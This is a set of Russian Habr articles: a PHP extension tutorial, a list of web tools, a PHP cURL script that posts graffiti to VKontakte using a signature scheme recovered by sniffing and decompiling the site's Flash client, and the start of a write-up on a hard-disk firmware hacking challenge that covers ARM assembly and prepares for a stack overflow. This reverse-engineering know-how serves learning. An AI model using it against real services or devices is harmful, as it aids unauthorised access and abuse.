Ключ к ответу на этот вопрос кроется в моменте, когда эти функции вызываются. Функция *php\_hello\_init\_globals* вызывается только при запуске нового процесса или потока. Однако, каждый процесс может обслуживать более одного запроса, так что использование этой функции для инициализации нашего счётчика значением 0 будет верно только для первого запроса. Последующий запрос к этому же процессу по прежнему будет работать со старым значением счётчика и, следовательно, не будет начинать отчёт с нуля. Для инициализации счётчика значением 0 для каждого запроса мы использовали функция *RINIT*, которая, как вы уже читали, вызывается перед каждым запросом обработки скрипта. Мы включили функцию *php\_hello\_init\_globals* в наш код как минимум из-за того, что передача NULL в качестве соответствующего параметра *ZEND\_INIT\_MODULE\_GLOBALS* функции *init* приведёт к ошибке сегментации для платформ без поддержки потоков.
INI-настройки и глобальные переменные
=====================================
Как вы уже знаете, настройки в файле php.ini, объявляемые с помощью функции *PHP\_INI\_ENTRY* считываются как строки и при необходимости конвертируются в другие форматы с помощью функций *INI\_INT*, *INI\_FLT* и *INI\_BOOL*. Однако, некоторые настройки во время выполнения скрипта могут запрашиваться слишком часто, что приведёт к большому количеству ненужных операций чтения из файла. К счастью, существует возможность инструктировать ZE хранить INI-настройки в особенном типе данных и производить приведение типов только при изменении значения настройки. Давайте проверим эту возможность в работе, объявив ещё одну INI-настройку, на этот раз типа boolean, определяющую, должен ли счётчик в настоящий момент уменьшаться или увеличиваться. Начнём с изменения блока *MODULE\_GLOBALS* в файле p*hp\_hello.h* следующим образом:
> `ZEND\_BEGIN\_MODULE\_GLOBALS(hello)
>
> long counter;
>
> zend\_bool direction;
>
> ZEND\_END\_MODULE\_GLOBALS(hello)`
Следующим шагом объявите INI-настройку, изменив блок *PHP\_INI\_BEGIN*:
> `PHP\_INI\_BEGIN()
>
> PHP\_INI\_ENTRY("hello.greeting", "Hello World", PHP\_INI\_ALL, NULL)
>
> STD\_PHP\_INI\_ENTRY("hello.direction", "1", PHP\_INI\_ALL, OnUpdateBool, direction, zend\_hello\_globals, hello\_globals)
>
> PHP\_INI\_END()`
Теперь инициализируйте настройку в функции *init\_globals*:
> `static void php\_hello\_init\_globals(zend\_hello\_globals \*hello\_globals)
>
> {
>
> hello\_globals->direction = 1;
>
> }`
И, наконец, используйте значение INI-настройки в функции *hello\_long* для выбора операции над счётчиком:
> `PHP\_FUNCTION(hello\_long)
>
> {
>
> if (HELLO\_G(direction)) {
>
> HELLO\_G(counter)++;
>
> } else {
>
> HELLO\_G(counter)--;
>
> }
>
>
>
> RETURN\_LONG(HELLO\_G(counter));
>
> }`
Вот и всё! С помощью метода *OnUpdateBool* (метод является часть ZE), переданного в качестве третьего параметра макроса *STD\_PHP\_INI\_ENTRY*, будет производиться автоматическое приведение типа значения настройки, полученного из файла *php.ini*, *.htaccess*, или с помощью функции *ini\_set*, к соответствующему значению TRUE/FALSE, которое вы можете получить прямо внутри скрипта. Последние три параметра функции *STD\_PHP\_INI\_ENTRY* указывают PHP, какую глобальную переменную изменить, как выглядит структура глобальных переменных нашего расширения, и имя контейнера глобальных переменных, в котором они содержаться.
Что дальше?
===========
В этой статье мы разобрали структуру простого PHP расширения, которое экспортирует функции, возвращающие значения, загружает и обрабатывает INI-настройки, сохраняя их на протяжении обработки запроса.
В [следующей статье](http://devzone.zend.com/node/view/id/1022) мы рассмотрим внутреннюю структуру переменных PHP, способы их хранения и обработки. Поработаем с функцией *zend\_parse\_parameters*, используемой для получения параметров из программы при вызове функции, и откроем способы возвращения более сложных результатов из функции, таких как массив, объект и ресурс.
P.S.
====
В некоторых местах перевод имеет довольно вольный формат, что является следствием трудностей перевода, которые мне не удалось преодолеть в полной мере. Кроме того перевод содержит некоторое количество мелких дополнений, показавшихся мне актуальными.
Процесс сборки расширения согласно статье проверен на [исходниках PHP 5.3.2](http://ru2.php.net/get/php-5.3.2.tar.bz2/from/a/mirror).
У [автора](http://devzone.zend.com/member/4580-SaraMG) есть несколько статей по данной тематике: [1](http://devzone.zend.com/node/view/id/1021), [2.1](http://devzone.zend.com/node/view/id/1022), [2.2](http://devzone.zend.com/node/view/id/1023), [3](http://devzone.zend.com/node/view/id/1024). Четвёртая статья видимо так и не увидит свет ввиду публикации автором книги [«Extending and Embedding PHP»](http://www.amazon.com/Extending-Embedding-PHP-Sara-Golemon/dp/067232704X), посвящённой данной тематике.
Так же про Zend Engine можно [почитать на php.net](http://www.php.net/manual/en/internals2.php). | https://habr.com/ru/post/98862/ | null | ru | null |
# 35 инструментов для веб-разработчика на каждый день
Кроме редактора кода, терминала, браузера и гита веб-разработчики пользуются вагоном и маленькой тележкой маленьких инструментов, которые выполняют какую-то одну задачу, но могут пригодиться в ежедневной работе. Предлагаем вам нашу подборку — надеемся, что что-то пригодится, а по поводу чего-то вы и вовсе скажете «А что, так можно было?».
*Дисклеймер: подборка нисколько не претендует на полноту, но об этом позже.*
### Проверка по стандартам
* [Валидатор W3C](https://validator.w3.org/#validate_by_input) — проверяем, валидный ли мы написали HTML. Вот [статья о том, почему валидаторы это добро.](https://htmlacademy.ru/blog/boost/tutorial/html-validation?utm_source=habr&utm_medium=special&utm_campaign=tools230921)
* [Can I use](https://caniuse.com/) — проверяем, как браузеры прямо сейчас поддерживают разные свойства, теги, API и технологии. Даже Opera Mini, хотя казалось бы.
* [Can I include](https://caninclude.glitch.me/) — проверяем, можно ли вложить один тег в другой, и если нельзя, то почему. Всё подробно показывают и рассказывают со ссылками на спецификацию.
Can I Include### Проверка вёрстки и стилей
Разные верстальщические инструменты.
* [BrowserStack](https://www.browserstack.com/) — показывает, как выглядит вёрстка в разных браузерах.
* [Генератор HTML-дерева](https://yoksel.github.io/html-tree/) — в удобном виде показывает структуру разметки и структуру заголовков на странице.
* [PerfectPixel](https://www.welldonecode.com/perfectpixel/) — плагин для проверки того, насколько вёрстка близка к макету. Подробнее о том, [что такое Pixel Perfect вёрстка](https://htmlacademy.ru/blog/boost/tools/pixel-perfect?utm_source=habr&utm_medium=special&utm_campaign=tools230921).
* [CSS Peeper](https://chrome.google.com/webstore/detail/css-peeper/mbnbehikldjhnfehhnaidhjhoofhpehk?hl=en) — расширение, чтобы быстро промониторить стили, картинки, и снять размеры без открытия инструментов разработчика.
Как работает PerfectPixel### Работа с кодом
Этот раздел — потенциальная шкатулка Пандоры. Он ждёт ваших дополнений в комментариях.
* [8 расширений VS Code для продуктивной работы](https://htmlacademy.ru/blog/education/collections/efficient-vs-code-plugins?utm_source=habr&utm_medium=special&utm_campaign=tools230921) — подборка плагинов на все случаи жизни.
* [JavaScript Event KeyCodes](https://keycode.info/) — получаем KeyCode любой нажатой клавиши, пригодится в приложениях, которые обрабатывают ввод с клавиатуры.
* [Regex 101](https://regex101.com/) – библиотека регулярных выражений, проверка регулярных выражений, всё что угодно для регулярных выражений.
* [JSON Formatter & Validator](https://jsonformatter.curiousconcept.com/) — отдаём на вход неформатированный JSON, получаем на выходе отформатированный. Бонусом проверка на валидность по трём разным RFC и ECMA-404.
* [JSON Placeholder](https://jsonplaceholder.typicode.com/) — бесплатный REST API, который можно использовать для тестирования, когда вам нужны какие-нибудь фейковые данные в проекте.
* [JSON Parser Online](http://json.parser.online.fr/) — ещё один инструмент для приведения JSON в читаемый вид.
* [Bundlephobia](https://bundlephobia.com/) — наглядно показывает, какие зависимости притянет npm-пакет. Можно загрузить package.json и проверить его. Это полезно, ведь [мы тонем в зависимостях и нам это нравится](https://htmlacademy.ru/blog/boost/frontend/node-js-dependences?utm_source=habr&utm_medium=special&utm_campaign=tools230921).
Состав пакета @qiwi/masker-json@1.2.8 в bundlephobia### Работа с графикой
То, что может понадобиться при работе с графикой — сжималки, растягивалки и подгружалки изображений. Бэкендеры, извините, можно пролистывать.
#### Сжатие (и увеличение) изображений
* [Squoosh](https://squoosh.app/) — ещё одна тулза для оптимизации изображений. Меняем настройки, двигаем ручку, смотрим, что ничего не сломалось.
* [TinyPNG](https://tinypng.com/) — cжимает WebP, PNG и JPG и не портит картинки. Можно использовать для создания превьюшек. Есть плагин для Фотошопа.
* [Image Upscaler](https://imageupscaler.com/) — нейросетевой увеличитель изображений, если вам досталась маленькая картинка, а дизайнер уже в отпуске.
Squoosh скушал размер превьюшки#### Работа с SVG
* [SVGOMG](https://jakearchibald.github.io/svgomg/) – оптимизация и очищение SVG от всякого мусора. Используйте с умом!
* [SVG to bg](https://denis-creative.com/svg-to-bg/) – конвертер SVG-иконок в код для использования в CSS. Подробная инструкция прилагается на сайте автора.
* [URL-encoder для SVG](https://yoksel.github.io/url-encoder/ru/) — конвертируем SVG для использования его в качестве `background-image`, `border-image` или `mask`.
#### Коллекции картинок
* [Flaticon](https://www.flaticon.com/) — иконки на все случаи жизни. Есть бесплатные, есть платные, PNG от 16 до 512px и SVG.
* [Unsplash](http://unsplash.com) — бесплатные изображения по лицензии CC0. Есть отличное API для встраивания графики в ваши приложения.
* [Lorem Picsum](https://picsum.photos/images) — генерирует случайные картинки-плейсхолдеры любого нужного вам размера.
Lorem Picsum. Но такие подошли бы и в любую статью об успешном успехе#### Фавиконки
Мы уже рассказывали о том, [как правильно использовать фавиконки](https://habr.com/ru/company/htmlacademy/blog/578224/). Вот несколько инструментов, которые помогут автоматизировать работу.
* [Сгенерировать набор иконок и файлы манифестов](https://realfavicongenerator.net/).
* [Скрипт для Node.js](https://www.npmjs.com/package/favicons).
* [Плагин к webpack](https://www.npmjs.com/package/favicons-webpack-plugin).
#### Кое-что ещё
* [Online Color Picker](https://colorpicker.me/#b5f39c) – просто удобная выбиралка цветов прямо в браузере. Показывает всю основную информацию, можно забить, например, RGB, а потом забрать HEX и посмотреть совместимые цвета.
* [Remove.bg](https://remove.bg) — неплохо удаляет фон у любого изображения и экономит массу времени.
Online Color Picker### Работа с текстом
Эти инструменты помогут чуть ускорить вёрстку, если вы, например, работаете в редакции, пишете в гуглдоках и хотите сразу получать нормальный HTML или markdown для вставки на сайт.
* [Типограф](https://typograf.github.io/#!text=), [ещё один типограф](https://www.typograf.ru/) и другой [типограф](https://www.artlebedev.ru/typograf/) — все три помогают получить текст с правильными кавычками, неразрывными пробелами и другими типографическими элементами.
* [Хабраконвертер](https://alonecoder.github.io/habrconverter/) — превращает гугл-документ с картинками в HTML.
* [Docs to Markdown](https://github.com/evbacher/gd2md-html/wiki) — ещё один конвертер гугл-доков, на этот раз в Markdown. Устанавливается как расширение прямо в гугл-документы, выдаёт вполне сносный маркдаун.
* [md2html](https://htmlacademy.github.io/md2html/) — хороший конвертер и онлайн-редактор заодно. Отдаём на вход markdown, получаем HTML. Быстро, без мусора. Пользуемся в редакции сами, нарадоваться не можем.
md2html
---
На этом сегодня всё.
Конечно, в одну статью не вместить все инструменты, которые могут пригодиться всем-всем разработчикам. Поэтому поделитесь в комментариях тем, что помогает лично вам в работе — так мы сможем сделать эту статью более полной и полезной. И чтобы комментарии были полезнее самой статьи. | https://habr.com/ru/post/579514/ | null | ru | null |
# Загрузка картинок на стену ВКонтакте
*А вам приходят сообщения от друзей с просьбами отослать куда-нибуть СМС или заглянуть в галерею где ваша знакомая позирует ню? А все потому, что пользуются сомнительным ПО и ходят на сомнительные сайты.*
Мы сейчас напишем скрипт, который будет размещать картинки-граффити на стене. Писал под себя, так что любителям удобств напильник в руки и удачи. Напишем на PHP (да-да, на этом тупом тормознутом языке для говнокодеров и школьников) а заодно и подучим работу с cURL, и загрузку с его помощью файлов на сервер.
Итак, из инструментов нам нужен снифер и flash-декомпилятор. Снифер нам выдаст параметры запроса:
'Signature' => цифровая подпись отправляемой на сервер картинки,
'Filedata' => собственно картинка в формате PNG и размером 586Х293,
'Upload' => строка 'Submit Query'
… а флеш-декомпилятор для того, чтобы узнать, каким образом формируется цифровая подпись:
Signature = md5 от первого килобайта base64-кода PNG-картинки
Собственно код:
**UPD:** В связи со сменой системы авторизации в контакте, скрипт уже не рабочий. В будущем переделаю.
```
//http://vkontakte.ru/graffiti.php?act=last
$userID = 'komu_ID';
$myID = 'otkogo_ID';
$myEMail = 'moi_login_v_kontakte%40mail.ru';
$myRemixId = 'f2a72a32c5b112da4e1701b0815614f34c680278918fbc08c4d3ed70';
$myPassword = md5('pass');
$graffitiFile = 'graffiti.png';
$vh = curl_init();
$options = Array
(
CURLOPT_URL = 'http://vkontakte.ru/graffiti.php?to_id=' . $userID . '&group_id=0',
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => Array
(
'Signature' => md5(substr(base64_encode(file_get_contents($graffitiFile)), 0,1024)),
//'Filedata' => file_get_contents($graffitiFile),
'Filedata' => '@' . realpath($graffitiFile),
'Upload' => 'Submit Query',
),
CURLOPT_REFERER => 'http://vkontakte.ru/swf/Graffiti.swf?15',
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) FirePHP/0.2.4',
CURLOPT_COOKIE => 'remixlang=0; remixchk=5; remixautobookmark=14; remixmid=' . $myID. '; remixemail=' . $myEMail. '; remixpass=' . $myPassword . '; remixid=' . $myRemixId . ';',
CURLOPT_HTTPHEADER => Array
(
'Host: vkontakte.ru',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
'Accept-Encoding: gzip,deflate',
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7',
'Keep-Alive: 300',
'Connection: keep-alive',
),
CURLOPT_RETURNTRANSFER => true,
);
curl_setopt_array($vh, $options);
curl_exec($vh);
curl_close($vh);
Header("Location: http://vkontakte.ru/graffiti.php?act=last");
?>
```
Рядом со скриптом положить файлик PNG размером 586Х293 и названием graffiti.png. Запускать из консоли.
Когда скрипт отработает, необходимо зайти по адресу [vkontakte.ru/graffiti.php?act=last](http://vkontakte.ru/graffiti.php?act=last) и подтвердить загруженную картинку. Если не грузится, возможно картинка слишком большая по весу. Лимит по весу не вычислял, но килобайт 100-150 влазит спокойно…
Всем спасибо. С Днем Победы. | https://habr.com/ru/post/59248/ | null | ru | null |
# Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0x01
[**По мотивам**](https://habr.com/ru/news/t/536740)[**Часть 0x00**](https://habr.com/ru/post/549090/)[**Часть 0x01**](https://habr.com/ru/post/549578)[**Часть 0x02**](https://habr.com/ru/post/553858/)
А что дальше?
-------------
Уважаемые хабровчане и хабровчушки, эта статья является долгожданным продолжением моей предыдущей статьи о взломе жесткого диска для собеседования в инфосек компанию RedBalloonSecurity. Любителей поковырять железяки я спешу разочаровать, поскольку все дальнейшие манипуляции с диском будут проводится только на уровне ассемблерного кода и логики. Поэтому, приготовьте чай/кофе или чего покрепче, ведь мы снова лезем в embeded дебри и опять пускаемся в неизвестность.
Также, спешу вам сообщить, что в этой статье будет оочень много низкоуровневой компьютерной математики. Поэтому, пока будет закипать чайник, советую запихнуть голову в морозилку на пару минут. Для полного понимания этого уровня и способа его взлома нужна холодная голова!
LEVEL2
------
Моему счастью не было предела, когда я залил пропатченую прошивку на Winbond Flash чип, и ядро моего Debian-неттопа распознало еще 1 раздел диска. Здесь будет намного больше информации, чем в предыдущем разделе. Ведь повышая левел, сложность нашей с вами задачи только увеличивается.
Содержимое раздела:
```
user@ubuntu:/media/user/LEVEL2$ file *
0001-keystone-armv5.patch: unified diff output, ASCII text
level_2.html: HTML document, ASCII text, with very long lines
level2_instructions.txt: ASCII text
level_2.lod: data
level_3.lod.7z.encrypted: 7-zip archive data, version 0.3
```
1. level\_2.lod - это новый файл прошивки для диска. Прошиваемся так же, как и в предыдущей статье. Здесь ничего нового.
2. level\_3.lod.7z.encrypted - это файл прошивки для следующего уровня. Судя по его разрешению, файл находится в запароленном 7z архиве. Нам нужно решить текущий уровень чтоб достать пароль от следующего.
3. level2\_instructions.txt - это, собственно, инструкции что и как делать. Подсказки тоже имеются.
4. 0001-keystone-armv5.patch - это патч для Keystone Assembler. Keystone это компилятор и набор С-шных библиотек для перевода ассемблерного кода в опкоды для процессора.
5. level\_2.html - изюминка текущего уровня. Выглядит точ-в-точ как текст, который генерирует IDA Pro при загрузке бинарника.
Для тех, кто не в курсе, IDA Pro это **легендарная** программа для дизассемблирования. Она настолько легендарная, что можете открыть страничку <https://www.hex-rays.com/cgi-bin/quote.cgi>, глянуть ценники на лицензии (которые разбиты по архитектурам), тут же закрыть вкладку, и, посвистывая, продолжить чтение этой статьи. У IDA Pro есть аналоги в виде Hopper Disassembler & Binary Ninja, и сейчас ценовая политика hex-rays чуть попроще, чем раньше (есть фришные версии). Но, опять таки - стоимость индустрии определяет стоимость инструментов.
Дело в том, что когда мы пишем код на высокоуровневых языках (C, Python и тд) и подвергаем его компиляции, мы переводим наш +- human-readable текст в язык машинного кода. То есть, мы опускаем более понятную человеку логику в логику, которая больше понятна машине. Машина не понимает что такое функция, ведь функция, это скорее абстракция в голове у программиста. Процесс дизассемблирования позволяет сделать наоборот - поднять логику из машинного на человекопонятный уровень. Некоторые дизассемблеры позволяют поднять логику даже на C-шный уровень, хоть и не всегда делают это корректно (на самом деле очень даже корректно, но читать такой код порой бывает сложнее чем ассемблер). Если работаем с чем-то мелким, и надо кабанчиком понять что там происходит - этого хватит, но для более высокоточных вещей нужен ассемблер. Это мы и получили в виде level\_2.html файла.
```
user@ubuntu:/media/user/LEVEL2$ cat level2_instructions.txt
Congratulations... you have made it to the other side
Back when I was an intern, I designed this key generation function. My boss hated it.
I hate my boss.
1. Invoke the function with command R
2. Find the key you must!!!!!
level2.html provides disassembly of a memory snapshot of the key generator function.
To help... guide... you in this adventure, you'll find a patchfile for the keystone
assembler to force the correct architecture.
Also, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCII
```
В этой подсказке кто-то ненавидит своего босса. Но, помимо этого, мы понимаем, что для решения этой задачи надо ввести в консольник диска что-то, что начинается на "R" - так мы запустим код, который имеем в дампе. И, с помощью этого, заставить программу отдать ключи. Самой полезной подсказкой была последняя фраза. Она намекает нам на то, что мы должны заабьюзить overflow.
0001-keystone-armv5.patch
```
user@ubuntu:/media/user/LEVEL2$ cat 0001-keystone-armv5.patch
From 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001
From: mysteriousmysteries
Date: Wed, 15 Feb 2017 09:23:31 -0800
Subject: [PATCH] armv5 support
---
llvm/keystone/ks.cpp | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cpp
index d1819f0..8c66f19 100644
--- a/llvm/keystone/ks.cpp
+++ b/llvm/keystone/ks.cpp
@@ -250,7 +250,7 @@ ks\_err ks\_open(ks\_arch arch, int mode, ks\_engine \*\*result)
if (arch < KS\_ARCH\_MAX) {
ks = new (std::nothrow) ks\_struct(arch, mode, KS\_ERR\_OK, KS\_OPT\_SYNTAX\_INTEL);
-
+
if (!ks) {
// memory insufficient
return KS\_ERR\_NOMEM;
@@ -294,7 +294,7 @@ ks\_err ks\_open(ks\_arch arch, int mode, ks\_engine \*\*result)
TripleName = "armv7";
break;
case KS\_MODE\_LITTLE\_ENDIAN | KS\_MODE\_THUMB:
- TripleName = "thumbv7";
+ TripleName = "armv5te";
break;
}
@@ -566,7 +566,7 @@ int ks\_asm(ks\_engine \*ks,
Streamer = ks->TheTarget->createMCObjectStreamer(
Triple(ks->TripleName), Ctx, \*ks->MAB, OS, CE, \*ks->STI, ks->MCOptions.MCRelaxAll,
/\*DWARFMustBeAtTheEnd\*/ false);
-
+
if (!Streamer) {
// memory insufficient
delete CE;
@@ -594,7 +594,7 @@ int ks\_asm(ks\_engine \*ks,
return KS\_ERR\_NOMEM;
}
MCTargetAsmParser \*TAP = ks->TheTarget->createMCAsmParser(\*ks->STI, \*Parser, \*ks->MCII, ks->MCOptions);
- if (!TAP) {
+ if (!TAP) {
// memory insufficient
delete Parser;
delete Streamer;
--
1.9.1
```
Патч для keystone говорит нам о том, на какой вариации ARM архитектуры работает наш IC на плате от жесткого диска - **armv5te**. Фотка IC есть в предыдущей статье.
Я прошил диск файлом level\_2.lod. Подключившись в консольник диска, я, последовав подсказкам, нажал Ctrl+Z. После чего, меня ждала строка приглашения от Seagate F3 меню. Это меню является механизмом для диагностики HDD. Через него можно узнать сколько раз заводился сервопривод диска, количество и местоположение бэд секторов, засечь время поиска определенного сектора, и очень много прочих параметров. Через него с диском можно делать все, что угодно - даже записать какие-то данные по определенному LBA адресу. Я так понял, ребята, когда делали этот челлендж, переписали то, как должен реагировать диск на команду "R". Что же, сюда мы и будем вводить "R...".
```
Welcome to minicom 2.7.1
OPTIONS: I18n
Compiled on Aug 13 2017, 15:25:34.
Port /dev/ttyS0, 19:19:01
Press CTRL-A Z for help on special keys
Rst 0x08M
Servo Processor Is Reset.
RW: Disc Ctlr Initialization Completed.
ExecuteSpinRequest
(P) SATA Reset
ASCII Diag mode
F3 T>
CTRL-A Z for help | 38400 8N1 | NOR | Minicom 2.7.1 | VT102 | Offline | ttyS0
```
Серьезно? ASM?
--------------
В этом code-box приведены первые 20 строк из level\_2.html файла. В конце публикации есть файл целиком, но в процессе статьи, давайте смотреть на него кусочками:
```
01. ROM:00332D00
02. ROM:00332D00 ; Segment type: Pure code
03. ROM:00332D00 AREA ROM, CODE, READWRITE, ALIGN=0
04. ROM:00332D00 ; ORG 0x332D00
05. ROM:00332D00 CODE16
06. ROM:00332D00
07. ROM:00332D00 ; =============== S U B R O U T I N E =======================================
08. ROM:00332D00
09. ROM:00332D00 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)
10. ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.
11. ROM:00332D00 ; The next level to reach, the key parts to print you must!
12. ROM:00332D00
13. ROM:00332D00 generate_key
14. ROM:00332D00
15. ROM:00332D00 var_28 = -0x28
16. ROM:00332D00
17. ROM:00332D00 PUSH {R4-R7,LR}
18. ROM:00332D02 SUB SP, SP, #0x10
19. ROM:00332D04 MOVS R7, R1
20. ROM:00332D06 MOVS R4, R2
...
```
Колонка слева с ROM:XXXXXXXX - это адреса памяти. При загрузке бинарника в IDA Pro, мы должны убедиться, правильно ли IDA Pro поняла для какой архитектуры (ARM, x86, MIPS и тд) собран наш бинарник (в большинстве случаев, автоопределение работает очень хорошо, но если мы вгружаем не бинарник, а целый дамп памяти - прийдется вручную настроить IDA Pro). Считываем файл байт за байтом, и эта левая колонка автоинкрементируется каждый раз когда IDA Pro понимает что это за кусок данных. Данные в бинарнике могут быть поняты одним из следующих образов:
* **Данные**. Самый низкий уровень понимания логики. Это когда кусок данных не представляет собой ничего конкретного. В дампе отображается как DCD, DCW, DCB - doubleword, word, byte соответственно. На такие штуки обычно есть ссылки из других участков кода. Назначение может быть самое разное.
* **Код**. Это когда кусок данных представляет собой 1 атомарную единицу операции (записать данные из регистра в память, сравнить числа и тд).
* **Строка.**Это когда IDA Pro натыкается на массив данных которые лежат в ASCII диапазоне. От 0x20 до 0x7E (ASCII стандарт также описывает числа ниже 0x20, но они не имеют "текстового" смысла). Вполне возможно, что диапазон расширяется и на другие кодировки, но это вне контекста данной статьи.
* **Подпроцедура (Subroutine)**. Это довольно высокий уровень понимания ассемблерной логики - когда IDA Pro видит функцию. В ней мы видим то же самое, как если бы видели **код**. Но, понимание того, что это не просто код, а функция дает невероятный скачок в осознании происходящего. Также, выдавать C-шный код IDA Pro может только для подпроцедур (или нет. Поправьте, если я не прав). В нашем level\_2.html мы видим только подпроцедуры - имеем максимальный уровень понимания. Задачка для интерна, все-таки.
Как я и говорил, дизассемблер не всегда распознает вещи корректно. Поэтому, при работе с IDA Pro есть возможность переключать режимы понимания данных на разных участках памяти.
LSI B5502D0
-----------
На 5й строке мы видим надпись **CODE16**. Это **очень** важно, поскольку этот дамп снят с кода для ARM процессоров. У них есть 2 режима работы - **ARM** и **Thumb**.
* В режиме **ARM** у нас есть доступ, наверное, ко всем ассемблерным операциям, но такие инструкции занимают 4 байта
* В режиме **Thumb** мы немножко ограничены, но такие инструкции занимают 2 байта.
Причины по которым были созданы эти 2 режима мне неизвестны (знатоки в комментариях очень даже приветствуются), но могу сказать следующее:
* В режиме **ARM** мы, скорее всего, будем исполнять желаемую логику быстрее. Как минимум, потому что, у нас есть доступ к инструкциям типа CMPEQ, которая выполнит операцию сравнения чисел только в том случае, когда результат предыдущего сравнения был успешным. Получается, что в этом режиме мы можем отдать логику if-else не просто на железо, а внутрь процессора. И сделать 2 операции (проверка предыдущего результата и выполнение новой операции) за 1 цикл (если я правильно это понимаю) без хождения по памяти. Но и размер инструкций будет больше, а значит, что нужно использовать больше памяти.
* В режиме **Thumb** мы не можем использовать подобное, но размер инструкций будет в 2 раза меньше, а значит, и затраты памяти будут ниже.
* Еще стоит сказать, что архитектура ARM (не путать с режимом) прекрасна тем, что размер инструкций у них фиксирован (2 или 4 байта), чего нельзя сказать об x86.
В общем, вот это **CODE16** значит то, что в этом моменте процессор находится в **Thumb** режиме (**CODE16** - 16 бит на инструкцию). И, как мы видим дальше, адреса памяти инкрементируются по 2 байта (конечно, только там, где есть инструкция).
Строка 13 являет собой адрес, на который есть отсылки в коде. Дело в том, что программы на ассемблере не исполняются линейно. Инструкции типа B, BL, BX, BLX переводят исполнение кода по новому адресу. И когда IDA Pro видит такие инструкции, она автоматически дает имя этому адресу. В нашем случае, ребята из RedBalloonSecurity переименовали этот адрес в generate\_key. Переименовывать позиции в коде, на который есть ссылки является прекрасным способом оставить для себя заметку о том, что делает определенный кусок кода. При работе с дизассемблером, подобное переименование "отрефакторит" это имя на каждом референсе по этому адресу - это очень удобно.
На строке 15 мы видим переменную. Надеюсь, все помнят об области видимости в С? Реализация этого механизма на уровне ассемблера очень хитрая. Здесь используется структура данных типа **стек**.
Ëмае, вот к чему stack в stackoverflow
--------------------------------------
У каждого процессора, помимо кэша, есть встроенное хранилище временных данных - **регистры**. Это самая быстрая память компьютера, как такового. Все операции с регистрами выполняются невероятно быстро. А поэтому, программу нужно строить таким образом чтоб минимизировать обращения к памяти, и почаще использовать регистры. Благо, компиляторы умные - умеют оптимизировать с разной точностью, и располагают что куда, даже если С-шный код писал рак (и то, не всегда).
У ARM процессоров 15 регистров. Для большинства, можно писать код и использовать их как хочешь (хотя, внутри компилятора, все же есть определенные правила о том, какой регистр для чего использовать. А в некоторые писать напрямую запрещено). Они имеют имена вида R0, R1 ... R15. Последние имеют специальное назначение:
* **SP** (R13) - Stack Pointer. В этом регистре хранится адрес вершины **стека**
* **BP** (R7 в **Thumb**, R11 в **ARM**) - Base Pointer. Здесь находится адрес начала **стека**
* **LR** (R14) - Link Register. Если у бренч (B) инструкции есть приставка L, это значит, что содержимое регистра **PC** нужно записать в регистр **LR** (там есть определенная специфика, которую я не совсем понимаю. К этому адресу в **LR** должно добавляться +2 байта при **Thumb**, или +4 байта при **ARM**. Но, это не точно). Потом это используется для возврата на предыдущее место в коде, например через BX LR. К примеру С-шный "return" отработает именно по такой логике (и то, если так решит компилятор). Из преимуществ - он быстрее, и часть программной логики падает на CPU без хождения по памяти. Недостаток - регистр всего один, и предыдущие адреса возврата все же прийдется складывать на стек.
* **PC** (R15) - Program Counter. Здесь находится адрес инструкции, которую процессор выполняет в данный момент. Писать сюда напрямую, кажись, нельзя. Но этот регистр полезен, если мы хотим сделать прыжок на другой адрес. Если мы работаем с 32-битной архитектурой, мы, ну никак не можем сказать процессору прыгнуть на 32-битный адрес, имея 2 или 4 байта на 1 инструкцию. Большинство инструкций для прыжка используют сдвиг от того, что находится в **PC**.
* **CSPR** - Current State Process Register. Это специфический регистр. К нему нельзя обратиться целиком, как и записать сюда что-то. Данные внутри этого регистра формируются автоматически на основе того, какие инструкции выполняет процессор. Он разбит на сегменты, и хранит в себе информацию о текущем состоянии процессора. К примеру, если мы выполняем инструкцию CMP (сравнить числа), результат сравнения (0 или 1) пишется в один из битов этого регистра. А в дальнейшем это используется для условных операций.
**Стек** это определенное место в памяти, где хранятся значения локальных переменных, аргументы функций, адреса возвратов, а также предыдущее значение **BP**. **Стек**логически разбит на сегменты (stack frames). Каждый сегмент принадлежит какой-то определенной функции. И, когда мы вызываем из одной функции другую, мы, создавая новый stack frame, сдвигаем адреса **BP** & **SP**чуть ниже(!) в памяти. Но, перед тем как создавать новый сегмент на **стеке**, мы должны знать адрес, куда должен вернутся **PC**после завершения функции - он сохраняется на **стеке**(Return Address) перед вызовом новой функции. Также, чтоб при возврате, сегмент **стека** стал того же размера что и был, мы сохраняем предыдущее значение **BP** (Saved %ebp) на этот же **стек**. Это пример для x86, но и на ARM дела обстоят так же. Выглядит все это дело примерно так (%ebp = **BP**, %esp = **SP**):
Стоит оговориться, что механизм по созданию и уничтожению stack frame'ов для меня до сих пор не совсем понятен. Поэтому, очень советую поискать что-то на ютубе. Для понимания таких вещей нужна визуальная картинка.
В предыдущем абзаце я сказал, что при создании нового сегмента **стека**, адреса **BP** & **SP**смещаются ниже. Дело в том, что "так сложилось исторически". Стек это LIFO конструкция, размер которой меняется в процессе исполнения программы. И компилятор не знает какого размера он может быть. То же самое касается **кучи** (heap) - памяти, которую мы запрашиваем у системы через семейство вызовов malloc (glibc). При выделении памяти в **куче**, ее адреса растут вверх, а вот когда растет **стек**, его адреса растут вниз. Стоит оговориться, что мы работаем с embeded устройством. Понятия **кучи** здесь, может и не быть (опять же, прошу экспертов меня поправить).
У ARM процессоров есть специальное семейство инструкций, которые работают со **стеком**: **PUSH**, **POP**, **STMFD**, **LDMFD** (уверен, есть еще, но для наших грязных делишек этого хватит).
* **PUSH** кладет то, что в аргументе на стек, и увеличивает его (на самом деле уменьшает адрес)
* **POP** снимает со стека данные, кладет туда, куда указывает аргумент, и уменьшает стек (на самом деле увеличивает адрес)
